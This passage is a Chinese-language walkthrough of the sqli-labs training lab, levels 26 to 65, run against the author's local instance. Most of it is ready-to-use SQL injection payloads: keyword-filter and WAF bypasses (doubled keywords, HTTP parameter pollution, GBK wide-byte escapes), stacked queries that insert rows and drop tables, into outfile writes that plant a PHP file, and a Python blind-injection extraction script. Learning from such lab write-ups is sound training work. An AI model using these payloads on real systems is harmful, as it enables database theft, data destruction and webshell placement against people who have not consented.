//以上是用于linux中的,windows 下似乎无法解析
+ 空格
//+一般貌似用于burp中
直接用括号分割!!!
//sql语句中可以直接用括号分割开的
对于本关,首先我们需要绕过or以及and,还记得上面说的方法吗?这里我们使用双写进行绕过:
id=1' oorr '1'='1
图中打印了数据库当中执行的语句。oorr是因为代码中只对or进行了过滤因此,在检测过程中,按左到右的顺序进行检测首先检测o发现后面是o构不成or故会跳过,然后继续往下匹配,此时匹配到了or因此直接转义成空格,继续往下只剩下一个r也会保留,因此检测完后就就形成了o r因此就可以绕过了:
至于,‘1’='1则是为了闭合回路用的,带入语句后就会造成闭合:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //代码中执行的sql
我们输入id的信息后:
$id = 1' oorr '1'='1
带入:
$sql="SELECT * FROM users WHERE id='1' oorr '1'='1' LIMIT 0,1"; //因此闭合了
接下来,由于我是在windows搭建的sql-lib因此无法解析一些符号,所以我采用括号进行分割:
爆表:
http://192.168.10.129:8080/sqli/Less-26/? id=1'||(updatexml(1,concat(0x7c,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7c),1))|| '1
爆数据:
http://192.168.10.129:8080/sqli/Less-26/? id=1'||(updatexml(1,concat(0x7c,(select(group_concat(username,0x3a,passwoorrd))from(security.users)),0x7c),1))|| '1
注意喔!!!!凡是由or的都要双写,例如password要写为passwoorrd;information写为infoorrmation!!!!!
Less-26a
很高兴这里我新学了一个可以类似起到新的注释作用的方法,即:在后面加上;%00
解释一下:
首先加上分号的原因是因为mysql中是利用;进行分割语句的,因此加上分号后相当于由两句话会同时执行,图中已经执行了第一句话了,但是由于第二局话会爆错,因此后面还会弹出错误的信息出来:
而%00是url编码的截断字符:按照我的理解来看,加上%00后可以将输出的两个结果(一个正确,一个错误)只截取前面一个输出到页面当中,因此使用这一个后可以使得页面回显正常:
因此,我们就可以利用这个测试出来闭合回路是’)了,此外也可以利用构造进行判断:
? id=1')||('1
之后如果可以使用;%00的话,那么直接用如下语句即可:
http://192.168.10.129:8080/sqli/Less-26a/? id=-111')union(select (1),(2),(database()));%00
这里,如果想上面那样使用||('进行闭合的话会失效!!!
因为,使用payload:? id=-111')union(select (1),(2),database()%26%26('1
,那么后端语句就会执行如下的sql语句:
SELECT * FROM users WHERE id=('111')union(select(1),(2),database()&&('1') LIMIT 0,1
这里由于优先级的问题,会使得(select(1),(2),database()会先与&(‘1’)进行and操作,操作结果为1/0,而这样子的结果再拼接到union时就会爆错,因为不符合union的用法习惯!
Less-27
输入id=1’而后页面,谈弹出错误信息,很好,说明代码确实是由’ '进行闭合的!!
然后,继续测试注释符,发现依旧将注释符进行了过滤!那么使用%00进行吧!紧接着测试联合注入,然后发现爆错:
由爆错原因看出,是把uinon 以及select过滤了,那么我们使用大小写混合尝试:
?id=-1111'UnIOn(SeLEct(1),(database()),(3) );%00
后面的自行尝试了,就是利用括号将每一个关键词括起来即可。
Less-27a
这一关与27的区别就在于使用" “ ,而且页面是不会回显错误了!
?id=1111"UnIOn(SeLEct(1),(database()),(3) );%00
Less-28
与27一致,区别仅仅在于,使用了’)进行闭合而已:
?id=1111')UnIOn(SeLEct(1),(database()),(3) );%00
Less-28a
这一关与28区别只是在于,无页面回显爆错而言,因此注入方式还是一致的!
?id=1111')Union(SeLeCT (1),(@@basedir),(3));%00
Less-29
这一关,怎么说呢…介绍上说他有最好的防火墙,但是如果我们只是普通的安装在系统之下的话,那么这一块我们直接简单朴素的就可以解决!
?id=-1' union select 1,database(),3 --+
这么一看,可能有的人会怀疑啥玩意啊???怎么29关反而简单了?
其实不然!这一关主要是加了一层waf,该waf会对输入的参数进行过滤的!!以下我简要介绍一下:
摘自sql注入天书!
服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。
此处简单介绍一下相关环境的搭建。环境为ubuntu14.04。此处以我搭建的环境为例,我们需要下载三个东西:tomcat服务器、jdk、mysql-connector-java.分别安装,此处要注意jdk安装后要export环境变量,mysql-connector-java需要将jar文件复制到jdk的相关目录中。接下来将tomcat-files.zip解压到tomcat服务器webapp/ROOT目录下,此处需要说明的是需要修改源代码中正确的路径和mysql用户名密码。到这里我们就可以正常访问29-32关了。
重点:index.php?id=1&id=2,你猜猜到底是显示id=1的数据还是显示id=2的?
Explain:apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。
以上图片为大多数服务器对于参数解析的介绍。
此处我们想一个问题:index.jsp?id=1&id=2请求,针对第一张图中的服务器配置情况,客户端请求首先过tomcat,tomcat解析第一个参数,接下来tomcat去请求apache(php)服务器,apache解析最后一个参数。那最终返回客户端的应该是哪个参数?
Answer:此处应该是id=2的内容,应为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁。
因此,这一关啊,我们还可以进行如下输入:
?id=-1&id=-1' union select 1,database(),3 --+
也就是说,第一个id是用于欺骗waf的,第二个才是实际apache接受的参数,因此我们就可以利用这个参数污染达到了绕过WAF的功能,这个方法可以记一下,可能面试会问导哦!!!
Less-30
与29原理是一致的,只是闭合回路变成了" " 。
Less-31
和29还是一样,但是闭合回路换成了( " ")
以下32-37都是宽字节注入的内容,首先让我们了解一下什么是宽字节:
宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御。
通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。
因此当我们输入’时,在php代码中如果有过滤的话会利用转义字符\进行转义,而利用urlencode表示的话,就为%5c%27
我们若想要将%5c去掉,则若此时mysql用的是GBK编码,则可以在前面加上一个编码如%df,使得系统认定%df%5c表示着一个汉字。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xdf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后变为0xdf5c27,前面的0xdf5c是个有效的GBK字符(但不能识别,也就是类似这种�),所以0xdf5c27会被当作一个字符0xdf5c和一个单引号来处理,结果漏洞就触发了
好了废话不多说,让我们实际操作一下!!!
Less-32
由于我们已经清楚了这是一个宽字节注入的题目,因此,直接上手加入%df !
?id=1%df%27
很好,看到页面出现错误信息,错误原因是因为多了一个’ 因此我们发现缺少可以利用%df%5c将\过滤掉了!!!!
那么接下来输入sql注入语句啦!!
?id=-1%df%27union%20select%201,database(),3--+
%20代表空格!
这里我解释一下为什么能够查询到:
首先,我将后台将要执行的sql语句打印出来看一下:
SELECT * FROM users WHERE id='-1�\'union select 1,database(),3-- ' LIMIT 0,1
从上面的语句可以看出,我们输入的%df%27再经过前端审查过后,变成了df5c27,而有输出的结果来看,已经将df5c看成一个字符即�\了,那么自然而然的’就不会被过滤了!
首先mysql会执行第一个查询,但是由于查询的id为-1�\因此,无该数据,那么之后继续执行联合查询的第二句,此时便可以回显数据了!!!!
具体的注入语句,前面已经讲的很细了,因此想继续爆数据的同学查看1-5关。
源代码解析:
这个函数的意思,就是过滤’ \的函数。将’ 转化为’,将\ 转化为\,将"转化为"因此对于这个,直接利用宽字节将\吃掉就不会转化了!
Less-33
playload是一样的:
?id=-1%df%27union%20select%201,database(),3--+
直接看解析源码:
这个函数就是在预定义的字符串前加上转义字符!
预定义的字符:
’
"
\
Less-34
打开这一关,发现该页面是登录页面,也就是说不再是之前的get方式进行提交的了,而是采用post进行的。
由于get型下,页面是以URL方式进行提交的,因此我们可以利用urlencode进行将\吃掉,但是post则不一样。那么我们要使用什么方法将数据吃掉讷?
由于之前我们是利用%df将\吃掉的,那么这里我们也可以利用同样的思路,由于之前我们利用输出语句产生了个�\,那么我们这里将�取出来,放在’回路之前,那么后端添加转义字符后自然也会形成�\的,这样子就可以达到过滤的效果了!!
�' or 1=1 #
这里,已经可以注入进去了!以下给出注入的语句:
-1�' union select 1,database()#
方法二:
对于post的注入,除了上述的直接在登录框中使用特殊字符外,还可以直接利用之前的http头部注入时采用的抓包来进行注入:
首先使用,burpsuit进行抓包,如下图所示:
这里我们可以看到我们输入的登录信息,即uname、passwd这两个框。
而后,我们就将在这两个框的基础下进行注入!!注入语句如下,这里也是利用%df将\吃掉:(注意头部包里+就代表空格)
1%df'+union+select+1,database()+#
将包释放掉后,就可以看到前台注入成功了:
Less-35
按照老思路,输入?id=1%df%27后发现页面出错:
从下面的部分我们可以看出,我们输入的后端的确实是�\,那么为什么还是错了?继续自习看看错误原因 ’ LIMIT 0,1 发现我们输入的乱码�没了那么说明乱码已经直接被接受了,那么很有可能就是因为这部分就根本没有回路!
分析如果有回路,但是不是 ’ ’ 的话,那么我们输入的任何东西都会被当成字符串(可在32验证,输入id=1")。既然如此,我们输入的’没有被当成字符串的话,说明他已经被当成了一个符号了,也就是根据错误原因可以看出是因为多了\ ‘的原因导致的!!也就是\ ’与前面接收的id=xxx独立开了那么假设一下就可以知道,如果sql代码直接说where id=xxx的话,那么我们输入的1�’ 在sql中就会被识别成id=1 \ ’ (这里的�由于id是int型因此会是识别不出,由下图课可以看出) 这里就会使得\ '与id分开了,即id已经接受了数据1�。
以下我在提供以下sql执行的代码:
SELECT * FROM users WHERE id=1�\' LIMIT 0,1;
因此,这里啊直接用联合查询就可以了!
Less-36
这里也是和之前一样的加上%df,只是在源代码部分使用了能过滤更多字符的函数:
具体的不再赘述,依旧是利用%df吃掉\
Notice:
这里使用的mysql_real_escape_string()能过滤那么多字符但是依旧能让我们绕过,那么是否是没有什么安全的防御办法了呢?
当然不是,之所以能解决是因为我们并没有意识到这要使用gbk编码格式去读取,那么就会将不能识别的字符给转义了,如下图:可以看到�前多了一个转义字符
也就是说,当让该函数以gbk格式去读取后,那么该函数就会将不能识别的gbk字符给直接过滤掉,因此,我们可以在上图中看到,当函数遇到�时就会加个转义字符在前面。
Less-37
注入方法同34,只是这里利用了mysql_real_escape_string()过滤了更多的字符而已,不再赘述。
这里简要的复习一下什么是堆叠注入:
Stacked Injections:堆叠注入。其意思就是一堆sql语句一起执行。也就是说,我们在命令行中可以输入多条语句同时进行对数据库的操作,每条语句利用;进行分割。
这里,不知道大家是否还记得前面的;%00 ,这里使用;%00也算是堆叠的一种吧。(如有错,欢迎指出)
3、page3
Less-38
首先,老样子确认是否有闭合回路。ok,输入?id=1’ 发现有错误信息:‘1’’ LIMIT 0,1 从错误信息发现,多出了一个’ ,因此断定闭合回路是’ ’
那么,接下来开始堆叠注入:
这里,假设我们并不知道数据库中有些什么。我们想要获取相关的信息时,是否能用堆叠注入进行查看呢?为了进行测试,我们输入如下语句:
?id=-1' ; select 1,2,database() order by 3 ;
点击提交,发现页面是空白的!!!(下图中我是特意输出了后台执行的sql语句方便我们进行查看!!)
为了搞清楚我们这条语句到底在后台执行的情况是什么样的,我们将这条语句放入mysql命令行中运行一下:
这里,我们看出语句执行后出现了两条结果,一个显示是空,一个则显示了对应的我们需要的数据。而至于,为什么我们在web页面无法查看到后面的数据,则是因为web页面端,一般只返回一条的查询结果,由于这里第一条的查询结果为空,因此页面返回的也就是空了!!
那么,有人可能会问,为什么union联合查询又可以呢???嘿嘿嘿,这里就是堆叠注入与联合查询的区别了。因此,我建议当进行查询时候,还是使用联合查询更加稳妥。
这里我提出我自己的见解,如有错欢迎指出:
在我看来,联合查询是被mysql以及web前端页面认为是一条查询语句,也就是说是单独的一条查询结果,尽管他可以合并多条查询语句。因此,当使用联合查询的时候,即使,前一个select语句查询为空,但是后面查的到的话,依旧可以作为一个结果进行输出的!!!如下图,id=-1的查询结果为空的结果并没有显示出来:
而id=1的结果存在的话,也是会合并成一个结果展示的:
而使用堆叠的话会被放成两个结果展示:
在了解后,这里给出对应的payload:
?id=-1' ; insert into users(id,username,password) value('38','less38','less38') --+
然后,就可以看到数据库中多出了一个数据:
这里可能会问,是咋知道的列名? 这列名当然是利用联合查询爆破出来的呀,在39关我在复现一次,Less1中也有具体的复现过程的说。
Less-39
输入:
?id=1 and 1= 2 --+ ==>页面出错
?id=1 and 1= 1 --+ ==>页面正常
由以上,判断出了是数字型注入,无闭合回路!以下将复现一下整体的注入流程,以防止忘记:
第一步: 确认回显的列数量
?id=1 order by 4 --+ ==> Unknown column '4' in 'order clause'
?id=1 order by 3 --+ ==> 页面正常,因此判断列数量为3
第二步: 收集利用一些信息:
?id=-1 union select 1,2,3 --+
这里,看出在第二个第三个字段的数据才会被输出!!!继续收集:
?id=-1 union select 1,user(),database()--+ ==> root@localhost、 security
?id=-1 union select 1,version(),@@datadir--+ ==> 5.7.26
、 C:\Users\Yuan\Desktop\phpstudy\phpstudy_pro\Extensions\MySQL5.7.26\data\
?id=-1 union select 1,@@version_compile_os,3--+ ==> Win64
以上,便收集到了许多有用的信息了!
第三步: 联合注入,获取对应的数据:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
==> emails,referers,test,uagents,users
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
==>user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users --+
==>Your Username is : Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4,yuan,less38,admin'#
Your Password is : 1,1,1,1,1,1,1,yuan1,1,1,1,1,1,1,less38,111
以上,就将全部数据爆出来了。现在,我们就可以利用这些信息进行堆叠注入了!!!
?id=1;insert into users(id,username,password) values('39','Less39','Less39') --+
查看数据库的users表,发现已经插入成功了。
Less-40
本关的闭合回路主要是(’ ‘) ,因此,在注入点加入’)即可,其他的与前两关无差别,以下给出payload:
?id=1');insert into users(id,username,password) values('40','Less40','Less40') --+
Less-41
本关啊,主要是加了个盲注,其他的和39一致的,也是数字型喔!具体怎么测出来的可以自己试一下,不懂就看39,嘿嘿嘿,加油!
?id=1;insert into users(id,username,password) values('41','Less41','Less41') --+
Less-42
这一关,首先我们构造如下payload:
admin';create table yuan like users#
放入username框中后,发现并未执行成功,那么有可能username是被函数处理过的,那么我们放在password中看看?
发现成功了!!!!我们查看以下源代码看看,找一下是不是我们上述分析的那样子:
发现确实是由于username上加入了一个mysqli_real_escape_string()的函数进行过滤。
这里可能有同学会记起来前面的二次注入时候页面是一样的,那么这里是否可以用二次注入呢?emmm,我试了下,好像这一关不给你注册…
Less-43
这一关一开始,我直接使用上一关的payload,然后页面回显出如下错误:
哇哦,页面给出了错误信息,这很棒:;create table Less43 like users#‘)
其实这里,已经可以看出来了在注释符后面多了一个闭合回路是’) ,但是我那时候脑子一抽,摁是没注意到…
所以说,如果由错误信息一定要仔细的看哈!!此时,我构造了如下的payload:
admin');create table Less43 like users#
此时,可以看到注入成功了:
Less-44
这一关主要是没有了爆错信息的回显,因此是盲注的题。那么我们要怎么判断闭合回路是什么呢?
我们可以在pawssord中注入【密码】【闭合回路】【注释符】这种形式来进行判断,如我的账户是admin 1 ;那么我们输入以下payload:
1' # ==>能够登录
sqllibs' # ==>不能登录
1') # ==>不能登录
因此就可以判断出闭合回路是’ ’ 。因此给出以下payload,(其他的自己玩,只要不删库,删表其他的都随意)
1' ;drop table Less42 #
查看库,发现已经删除了Less42的表(我们前面建立过的)
Less-45
本关,与43一样闭合回路是( ’ ’ ) ,这个闭合回路判断的方法在44关中有说。这关也是盲注。
给出payload:
1') ;drop table Less43 #
已经看出删掉了。
复习一下order by 注入:
SQL注入的基础知识
order by 注入点分类:
(1)在order by后的数字处进行注入!
- 直接添加注入语句==> ?sort=(select *****)
- 利用某些特殊的函数,如rand() ==>?sort=rand(【sql语句】)。补充:一般rand()执行时,会辨别括号里是true还是false。即最总rand执行时候是rand(true)或者rand(false)。
- 利用and。==>?sort=1 and 【sql语句】
(2)procedure analyse参数后注入!
Procedure Analyze是MySQL提供的一个分析结果集的接口,以帮助提供数据类型优化建议。其语法格式如下
SELECT ... FROM ... WHERE ... PROCEDURE ANALYSE([max_elements,[max_memory]])
我们在注入时可以输入如下payload:
?sort=1 PROCEDURE ANALYSE(extractvalue(rand(),concat(0x3a,version())),1)
(3)利用导入导出文件into outfile 参数
在order by后加入如下payload:
?sort=1 into outfile "c:\\xxx\\xxx\\xxx\xxx.txt"
可以将查询结果导入到某文件中,或者上传webshell。
上述的几个可以结合前面的xpath爆错注入,延时注入,布尔注入等等一起来综合利用!
Less-46
为方便学习,这里我直接先给出后端执行的sql语句:
$sql = "SELECT * FROM users ORDER BY $id";
这里,的$id依据order by的特性来说,我们输入数字1与字符id的意思应该是一样的,这里给出两张截图进行比较:
可以看出来排序是一样的这是因为1在这个表中,就是代表着第一个字段即id这个字段。
那么这里如果使用left(version(),1)会怎么样呢?(因为version()的版本号为5.7.26,因此left的结果应该为5)这里可以看一下order by 后接字符串类型这里有简要的个人理解。。
然后,开始正式的按照基础知识来进行注入:
(1)利用order by后的数字进行注入:
1、直接加注入语句:
这里一开始直接加上了select 1,2,3,发现页面回显错误信息了
这里说让只能包含一个字段,那么我们输入select 1 看看:
发现这里利用select想要进行回显数据不太可能了。那么,我们尝试利用爆错注入吧,回顾一下floor函数的用法吧,在前几节关卡中有详细的利用以及解释,忘记的同学回去看一下:
payload:
?sort= (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)))
当然,除了爆错注入外,我们还可以利用延时注入:
payload:
?sort= (select if( substring(current,1,1)=char(115), benchmark(500000000,md5('1')), null) from (select database() as current ) as tb1)
2、利用rand:
由于rand主要是利用true与fasle进行判断,因此,我们使用这个函数进行注入的话,就是利用了布尔注入:
payload:
?sort= rand(ascii(left(database(),1))=115)
payload:
?sort= rand(ascii(left(database(),1)=116))
这里,这里由于rand(true)返回的页面与ascii(left(database(),1)=115相同,因此这里可以判断database()的第一个值是s。
3、利用and:
这里和1是一样的可以直接利用爆错注入或者延时注入。以下我展示了xpath的payload:
payload:
?sort=1 and updatexml(1,concat(0x3a,(select database()),0x3a),1)
当然,上述的select处是可以因地制宜的:
payload:
?sort=1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=116,0,sleep(1))
==> e的ascii为101 ,因此将116换成101就可以看出确实延迟注入了
(2)procedure analyse注入
首先,使用procedure analyse参数进行报错注入:
payload:
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(id,username,password) from users limit 0,1))),1)
==>emmm…很不幸这里注入失败…
==>原因是该方法仅适用于5.0.0<mysql<5.6.6的版本,而我的版本是5.7,该版本中貌似修复了,不允许analyse中出现其他sql语句:
(3)导入导出文件 into outfile:
这里需要先拿到文件路径:
payload:
?sort=1 and updatexml(1,concat(0x3a,(@@datadir),0x3a),1)
拿到后就可以进行导入导出了,这里展示部分:
payload:
?sort=1 into outfile "C:\\Users\\【】\\Desktop\\phpstudy\\phpstudy_pro\\WWW\\Less46.txt"
此时,再访问less46.txt:
Less-47
这里其实也和前面的id处差不多,也就是说这一关难点主要在,代码中将sort传入的参数进行了闭合,因此我们需要输入一些闭合字符进行测试:
?sort=1'
页面出错,错误原因:‘1’’
这里就判断了,闭合回路’ ’ 因此,这里仅需加上’即可!!
给出对应的payload:
报错注入(这里需要注意的是,不能直接加上select语句了,因为有个闭合回路,需要将其闭合起来)
?sort=1' and updatexml(1,concat(0x7c,(select database()),0x7c),1) --+
?sort=1' and (select count(*) from information_schema.columns group by concat(0x7c,0x3a,(select database()),0x7c,floor(rand()*2))) --+
导入导出:
这里将利用terminated by (意思是以什么字符作为分隔符);0x就是指十六进制。
使用into outfile “…” lines terminated by 0x(转十六进制的代码)
payload:
?sort=1' into outfile "C:\\Users\\【】\\Desktop\\phpstudy\\phpstudy_pro\\WWW\\Less47.php" lines terminated by 0x3c3f70687020706870696e666f28293b203f3e --+
0x3c3f70687020706870696e666f28293b203f3e ==> <?php phpinfo(); ?>
这里就已经可以访问了:
Less-48
这一关是没有报错回显的(利用直接加’ 就可以知道了)。
然后,我利用了sleep仅需判断出,这里并没有任何的回路:
?sort=1 and sleep(1)--+
这里既然不能使用报错回显了,但是对于延时注入还是有效的:
?sort=rand(ascii(left(database(),1))=115)
后续的自行尝试,需要利用left以及mid一个个尝试,在less-5中有具体的讲解。
当然这里也可以使用into outfile这类导入导出来注入,详见下一关。
Less-49
这里相当于less48与less47的结合,即利用率’ ’ 以及无回显来设置的关卡。
这里我们利用导入导出继续注入:(判断闭合回路的方法在49也讲过了)
?sort=1' into outfile "C:\\Users\\【】\\Desktop\\phpstudy\\phpstudy_pro\\WWW\\Less49.php" lines terminated by 0x3c3f70687020706870696e666f28293b203f3e --+
Less-50
这里我们可以查看源代码中有一个函数叫mysqli_multi_query(),这个函数意思就是可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,既然此关之后,都有这一个,那么不要忘了我们的stacked injection。
注意:此前的order by注入这里也可以继续用,有兴趣的自己尝试。此外,之前的可不可以堆叠注入呢?也请自己试试看,自己动手丰衣足食,实在搞不出来,就看看源码中的函数是哪一个就知道了!!!
构造payload:
?sort=1;create table less50 like users
Less-51
这里多了个闭合回路,直接利用:
?sort=1' and sleep(1) --+
就可以判断出来了。
这里给出一个注入payload:(想玩花的话,因为是堆叠注入,因此你想写什么语句都可以)
?sort=1';create table less51 like users--+
Less-52
这一关与50一样,只是将报错回显关掉了,但是对堆叠注入没有影响,因此该怎么注入还是怎么注入:
?sort=1;create table less52 like users--+
Less-53
这一关与51一样,只是将报错回显关掉了,但是对堆叠注入没有影响,因此该怎么注入还是怎么注入:
?sort=1' ;create table less53 like users --+
第四页的部分,主要是一个进阶的学习,将会对前面部分所学的进行更综合,更深层次的利用。
此后,页面可能就会需要我们以尽量少的次数,获取到更多的信息,因为本页开始会设置起,超过多少次后数据库就会将所有表名与密码等自动的更新!!!
4.page4
Less-54
本关依旧是字符型的注入,但是十次过后就会更表以及密码,以下开始进行注入:
首先确定闭合回路(一般来说就是使用单引号或者双引号的):
?id=1' and sleep(1) --+
直接利用了sleep,确定了闭合回路确实是’ ’ 。且页面有次数提醒!!
开始联合注入,确定库与使用者权限。(在这个过程中,也是可以直接将order by 确定列数量这一步省略的,因为利用联合注入也能大致猜出来。如果实在不行,再用order by确认一次,但是如果确认次数过多的话,会使得表进行更新的,那么如果剩余次数太少的话,最好先让它刷新一次吧!)
这里我得提醒一下,该页之后的表名与数据等等可能都会不一样的,希望各位读者,不要只傻乎乎的照搬我的payload,都已经打完了前面那么多关了,sql语句中对应的表名、数据名等位置写在哪应该有点清楚了吧!!!因此,下文的payload里,读者仅需将自己曝出的对应的表名、库名等等填入对应的位置即可。
?id=-1' union select 1,database(),user() --+
好,这里确定了数据库名!!还有八次机会,很多了。
获得表名:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+
这里的表名可能和我不一样,这很正常,毕竟会随时更新!(还有一点注意确保注入语句正确了再执行,不然只会浪费机会)
获得列名:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='etildx86ht' --+
获得数据:
?id=-1' union select 1,group_concat(secret_5FRT),group_concat(sessid) from challenges.etildx86ht --+
这里,我中途输错过一次…所以才会有六次的输入。
好的,我们已经拿到了密码数据,回到首页输入即可。
Less-55
这一关,给了十四次,说明了可能在某些地方设置了难关…
继续之前的思路:
测试闭合回路:
?id=1' and sleep(2) --+
==>未延迟,说明闭合回路错了!
?id=1') and sleep(2) --+
==>未延迟,说明闭合回路错了!
?id=1) and sleep(2) --+
==>延迟了,说明闭合回路测试出来了,浪费我三次时间。。。
库:
?id=-1) union select 1,database(),user() --+
表:
?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+
列:
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='9db5rys72x'--+
数据:
?id=-1) union select 1,group_concat(secret_97MO),3 from challenges.9db5rys72x--+
输入密码,即可
Less-56
这里简化一下。。。。。才看到页面给了数据库名:
测试闭合回路:
?id=1') and sleep(2) --+
一次直接成功了!
表:
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
列:
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='4c337ssivb' --+
密码:
?id=-1') union select 1,group_concat(secret_QT7B),3 from 4c337ssivb --+
输入:
Less-57
闭合回路:
测试了多次,验证出了:
?id=1" and sleep(2) --+
后面的步骤是一样的,参考上面几个,仅需更换闭合回路即可,这里不再赘述。仅列出一个参考:
?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
Less-58
测试闭合回路:
?id=1' and sleep(2) --+
表:
?id=-111' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
emm…这里发现啊,不管怎么样好像都不能输出数据库里其他数据,那么我们试试看,报错注入:
?id=1' and updatexml( 1,concat(0x7c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7c),1) --+
成功了!!!这部分还是有点意思的,居然直接使用联合注入无法出数据。
列:
?id=1' and updatexml( 1,concat(0x7c,(select group_concat(column_name)from information_schema.columns where table_name='9v8ll0mh2c'),0x7c),1) --+
数据:
?id=1' and updatexml( 1,concat(0x7c,(select group_concat(secret_DC0K)from 9v8ll0mh2c),0x7c),1) --+
Less-59
这关与58 一样,不同的是这里是数字型注入,即无闭合回路:
?id=1 and sleep(2) --+
这里我就不再重复了,直接将58payload中的’ 删掉就可以用。给一个payload的例子:
?id=1 and updatexml( 1,concat(0x7c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7c),1) --+
Less-60
与58还是一致的,只是闭合回路变为了:
?id=1") and sleep(2) --+
这里我就不再重复了,直接将58payload中的’ 换成“)即可。给一个payload的例子:
?id=") and updatexml( 1,concat(0x7c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7c),1) --+
Less-61
与58还是一致的,只是闭合回路变为了:(这里可能测试的比较困难吧)
?id=1')) and sleep(5) --+
这里我就不再重复了,直接将58payload中的’ 换成“)即可。给一个payload的例子:
?id=1')) and updatexml( 1,concat(0x7c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7c),1) --+
Less-62
测试回路:
?id=1') and sleep(5)--+
这里发现利用报错注入也不行,那么只能使用延时注入了,而且,这一关给了130次,摆明让我们用脚本跑…
样例的payload:
?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=79,0,sleep(10)) --+
使用脚本:
脚本来源于··KElis
(目前我的水平还不能写出脚本,我只能简单看懂python代码,希望之后学习能自己开发出脚本后再来这里填入自己的脚本!!!!!)
import requests
import sys
def u(index,asc):
url_start="http://192.168.10.129:8080/sqli/Less-62/?id=1')and"
url_end='--+'
#url_select='(ascii(mid((select group_concat(secret_AO2C)from challenges.LMFZWPHL9J'+'),'+str(index)+',1))>'+str(asc)+')'# 这里的表名和字段名都是会变化的,根据自己跑出来的结果更改,跑key
#url_select='(ascii(mid((select group_concat(schema_name)from information_schema.schemata'+'),'+str(index)+',1))>'+str(asc)+')'#跑库
url_select='(ascii(mid((select group_concat(table_name)from information_schema.tables where table_schema='+"'challenges'"+'),'+str(index)+',1))>'+str(asc)+')'#跑表名
#url_select='(ascii(mid((select group_concat(column_name)from information_schema.columns where table_schema='+"'challenges'and table_name='sotksh4ycc'"+'),'+str(index)+',1))>'+str(asc)+')'#跑字段
url = url_start + url_select + url_end
return url
def url(index,asc):
re=requests.get(url=u(index,asc)).text
if 'Angelina' in re:
return True
else:
return False
def dff(index,left,right): #二分法判断
while left<right:
asc=int((left+right)/2)
if url(index,asc):
left=asc
else:
right=asc
if left+1==right:
if url(index,left):
return right
else:
return left
if __name__=="__main__":
for index in range(1024):
ord1=dff(index,30,126)
if ord1==31:
break
sys.stdout.write(chr(ord1))
sys.stdout.flush()
sys.stdout.write("\r\n")
sys.stdout.flush()
我稍微调整修改了一下,版本是python3,还要记得自己在对应的sql语句上填入自己曝出的数据。。。
表:
列:
数据:
Less-63
和62一致,只是在闭合回路上变为了:
?id=1' and sleep(10) --+
其他的还是按着62的脚本跑
Less-64
和62一致,只是在闭合回路上变为了:
?id=1)) and sleep(10) --+
其他的还是按着62的脚本跑
Less-65
和62一致,只是在闭合回路上变为了:
?id=1") and sleep(10) --+
其他的还是按着62的脚本跑
总结
本人所写的1-65关绝大部分都是手工注入,之所以没用sqlmap跑,是因为在基础学习阶段,我自己的基础能够更牢固一些。
至此,1-65关已经全部攻略完毕。对于sql注入这一块,也仍然还是个菜鸟。希望有大牛可以指出上述中存在着的不足之处,万分感谢。